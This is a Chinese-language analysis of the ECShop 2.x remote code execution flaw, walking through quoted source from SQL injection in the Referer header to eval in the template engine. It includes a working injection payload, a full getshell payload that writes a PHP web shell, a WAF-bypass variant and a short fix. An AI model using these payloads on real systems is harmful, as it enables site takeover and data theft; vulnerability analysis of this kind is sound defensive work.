本文参考自:ringk3y.com/2018/08/31/ecshop2-x代码执行/
//本文漏洞分析部分利用的payload/exp来源于此文。
0x00 概述
8月31日,网上爆出ecshop远程代码执行漏洞,经测试,该漏洞利用难度低,威力巨大可直接getshell,本文对此进行重现及分析。
0x01 影响范围
ecshop 2.x
0x02 漏洞重现
SQL注入:
报错注入payload:
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:”num”;s:72:”0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)– -“;s:2:”id”;i:1;}
RCE getshell:
//工具https://github.com/theLSA/ecshop-getshell
0x03 修复方案
intval $arr[id]和$arr[num]
0x04 漏洞分析
报错注入payload:
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:”num”;s:72:”0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)– -“;s:2:”id”;i:1;}
环境:ecshop 2.7.3
漏洞文件:
ecshop273\user.php:302
elseif ($action == 'login') { if (empty($back_act)) { if (empty($back_act) && isset($GLOBALS['_SERVER']['HTTP_REFERER'])) { $back_act = strpos($GLOBALS['_SERVER']['HTTP_REFERER'], 'user.php') ? './index.php' : $GLOBALS['_SERVER']['HTTP_REFERER']; } else { $back_act = 'user.php'; } }
$back_act参数来源于Referer,可控。
$smarty->assign(‘back_act’, $back_act);
$smarty->display(‘user_passport.dwt’);
赋值展示
ecshop273\includes\cls_template.php:70
function assign($tpl_var, $value = '') { if (is_array($tpl_var)) { foreach ($tpl_var AS $key => $val) { if ($key != '') { $this->_var[$key] = $val; } } } else { if ($tpl_var != '') { $this->_var[$tpl_var] = $value; } } } function display($filename, $cache_id = '') { $this->_seterror++; error_reporting(E_ALL ^ E_NOTICE); $this->_checkfile = false; $out = $this->fetch($filename, $cache_id); if (strpos($out, $this->_echash) !== false) { $k = explode($this->_echash, $out); foreach ($k AS $key => $val) { if (($key % 2) == 1) { $k[$key] = $this->insert_mod($val); } } $out = implode('', $k); } error_reporting($this->_errorlevel); $this->_seterror--; echo $out; }
关键在于:
$out = $this->fetch($filename, $cache_id); if (strpos($out, $this->_echash) !== false) { $k = explode($this->_echash, $out); foreach ($k AS $key => $val) { if (($key % 2) == 1) { $k[$key] = $this->insert_mod($val); }
_echash分割解析变量后的模板文件html,再传入insert_mod方法,先看看_echash是啥:
此文件的28行:
var $_echash = ‘554fcae493e564ee0dc75bdf2ebf94ca’;
是固定值,所以$var变量可控!
再看看insert_mod方法:
此文件1146行:
function insert_mod($name) // 处理动态内容 { list($fun, $para) = explode('|', $name); $para = unserialize($para); $fun = 'insert_' . $fun; return $fun($para); }
用|分割传入的$name,需要序列化|后的参数,再动态调用insert_xxx方法,根据payload,看看insert_ads方法:
ecshop273\includes\lib_insert.php:136
function insert_ads($arr) { static $static_res = NULL; $time = gmtime(); if (!empty($arr['num']) && $arr['num'] != 1) { $sql = 'SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, ' . 'p.ad_height, p.position_style, RAND() AS rnd ' . 'FROM ' . $GLOBALS['ecs']->table('ad') . ' AS a '. 'LEFT JOIN ' . $GLOBALS['ecs']->table('ad_position') . ' AS p ON a.position_id = p.position_id ' . "WHERE enabled = 1 AND start_time <= '" . $time . "' AND end_time >= '" . $time . "' ". "AND a.position_id = '" . $arr['id'] . "' " . 'ORDER BY rnd LIMIT ' . $arr['num']; $res = $GLOBALS['db']->GetAll($sql); }
明显没过滤传入的参数$arr[‘num’]和$arr[‘id’],导致SQL注入!
payload:
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:”num”;s:72:”0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)– -“;s:2:”id”;i:1;}
查询语句为:
SELECT a.ad_id, a.position_id, a.media_type, a.ad_link, a.ad_code, a.ad_name, p.ad_width, p.ad_height, p.position_style, RAND() AS rnd FROM `thaihaog_shop3`.`ecs_ad` AS a LEFT JOIN `thaihaog_shop3`.`ecs_ad_position` AS p ON a.position_id = p.position_id WHERE enabled = 1 AND start_time <= '1535947826' AND end_time >= '1535947826' AND a.position_id = '1' ORDER BY a.ad_id DESC LIMIT 0,1 procedure analyse(extractvalue(rand(),concat(0x7e,version())),1)-- -
自此进入第二阶段:利用SQL注入达到代码执行
getshell payload:
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:280:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:3:"'/*";}
position_style的值:
{$asd'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzEucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTMzN10pOyA/Picp'));//}xxx
根据payload,关键点在position_style这个字段,来源于数据库
ecshop273\includes\lib_insert.php:170
foreach ($res AS $row) { if ($row['position_id'] != $arr['id']) { continue; } $position_style = $row['position_style'];
后面注入时要逃过这个if判断,id传入’/*即可。
num要传入:
*/ union select 1,0x272f2a,3,4,5,6,7,8,9,10– –
即可绕过
209:
$position_style = 'str:' . $position_style; $need_cache = $GLOBALS['smarty']->caching; $GLOBALS['smarty']->caching = false; $GLOBALS['smarty']->assign('ads', $ads); $val = $GLOBALS['smarty']->fetch($position_style);
追踪fetch函数:
ecshop273\includes\cls_template.php:135
function fetch($filename, $cache_id = '') { if (!$this->_seterror) { error_reporting(E_ALL ^ E_NOTICE); } $this->_seterror++; if (strncmp($filename,'str:', 4) == 0) { $out = $this->_eval($this->fetch_str(substr($filename, 4))); } else
追踪fetch_str函数看看怎么处理第九个字段$position_style
ecshop273\includes\cls_template.php:281
function fetch_str($source) { if (!defined('ECS_ADMIN')) { $source = $this->smarty_prefilter_preCompile($source); } if(preg_match_all('~(<\?(?:\w+|=)?|\?>|language\s*=\s*[\"\']?php[\"\']?)~is', $source, $sp_match)) { $sp_match[1] = array_unique($sp_match[1]); for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++) { $source = str_replace($sp_match[1][$curr_sp],'%%%SMARTYSP'.$curr_sp.'%%%',$source); } for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++) { $source= str_replace('%%%SMARTYSP'.$curr_sp.'%%%', '<?php echo \''.str_replace("'", "\'", $sp_match[1][$curr_sp]).'\'; ?>'."\n", $source); } } return preg_replace("/{([^\}\{\n]*)}/e", "\$this->select('\\1');", $source); }
关键一行:
return preg_replace(“/{([^\}\{\n]*)}/e”, “\$this->select(‘\\1′);”, $source);
这一行意思是比如$source是{$yyy}xxx,那么经过这行代码处理后就是返回this->select(‘$yyy’).xxx的结果
//$yyy’];assert(base64_decode(‘ZmlsZV9wdXRfY29udGVudHMoJzEucGhwJywnP//D9waHAgZXZhbCgkX1BPU1RbMTMzN10pOyA/Picp’));//
追踪select()函数:
368行:
function select($tag) { $tag = stripslashes(trim($tag)); if (empty($tag)) { return '{}'; } elseif ($tag{0} == '*' && substr($tag, -1) == '*') // 注释部分 { return ''; } elseif ($tag{0} == '$') // 变量 { return '<?php echo ' . $this->get_val(substr($tag, 1)) . '; ?>'; }
//去掉了$
//yyy’];assert(base64_decode(‘ZmlsZV9wdXRfY29udGVudHMoJzEucGhwJywnP//D9waHAgZXZhbCgkX1BPU1RbMTMzN10pOyA/Picp’));//
再追踪get_val()函数:
544行:
function get_val($val) { if (strrpos($val, '[') !== false) { $val = preg_replace("/\[([^\[\]]*)\]/eis", "'.'.str_replace('$','\$','\\1')", $val); } if (strrpos($val, '|') !== false) { $moddb = explode('|', $val); $val = array_shift($moddb); } if (empty($val)) { return ''; } if (strpos($val, '.$') !== false) { $all = explode('.$', $val); foreach ($all AS $key => $val) { $all[$key] = $key == 0 ? $this->make_var($val) : '['. $this->make_var($val) . ']'; } $p = implode('', $all); } else { $p = $this->make_var($val); }
再追踪make_var()函数:
654行:
function make_var($val) { if (strrpos($val, '.') === false) { if (isset($this->_var[$val]) && isset($this->_patchstack[$val])) { $val = $this->_patchstack[$val]; } $p = '$this->_var[\'' . $val . '\']'; }
到这一步处理完成:
$p = ‘$this->_var[\” . $val . ‘\’]’;
最后return成$this->_var[‘yyy’]这样
就可以引入单引号闭合yyy,再执行恶意代码
所以第九个字段position_style构造为:
{$yyy'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzEucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTMzN10pOyA/Picp'));//}xxx
即return
$this->_var[‘ yyy'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzEucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTMzN10pOyA/Picp'));// ‘]
再回到select函数
return ‘<?php echo ‘ . $this->get_val(substr($tag, 1)) . ‘; ?>’;
拼接成
<?php echo $this->_var[‘ yyy'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzEucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTMzN10pOyA/Picp'));// ‘];?>
所以fetch_str()返回的是
return preg_replace(“/{([^\}\{\n]*)}/e”, “\$this->select(‘\\1’);”, $source);
即
<?php echo $this->_var[‘ yyy'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJzEucGhwJywnPD9waHAgZXZhbCgkX1BPU1RbMTMzN10pOyA/Picp'));// ‘];?>xxx
再回到最外层的_eval函数:
1170行:
function _eval($content) { ob_start(); eval('?' . '>' . trim($content)); $content = ob_get_contents(); ob_end_clean(); return $content; }
eval最终RCE
Getshell exp:
Referer: 554fcae493e564ee0dc75bdf2ebf94caads|a:2:{s:3:"num";s:280:"*/ union select 1,0x272f2a,3,4,5,6,7,8,0x7b24617364275d3b617373657274286261736536345f6465636f646528275a6d6c735a56397764585266593239756447567564484d6f4a7a4575634768774a79776e50443977614841675a585a686243676b58314250553152624d544d7a4e3130704f79412f506963702729293b2f2f7d787878,10-- -";s:2:"id";s:3:"'/*";}
0x05 过WAF
如果过滤了union select
则分开union select
id填’union/* 然后num填 */ select 1,0x27756e696f6e2f2a,3,4,5,6,7,8,9,10,
即可
0x06 结语
好厉害的一个洞。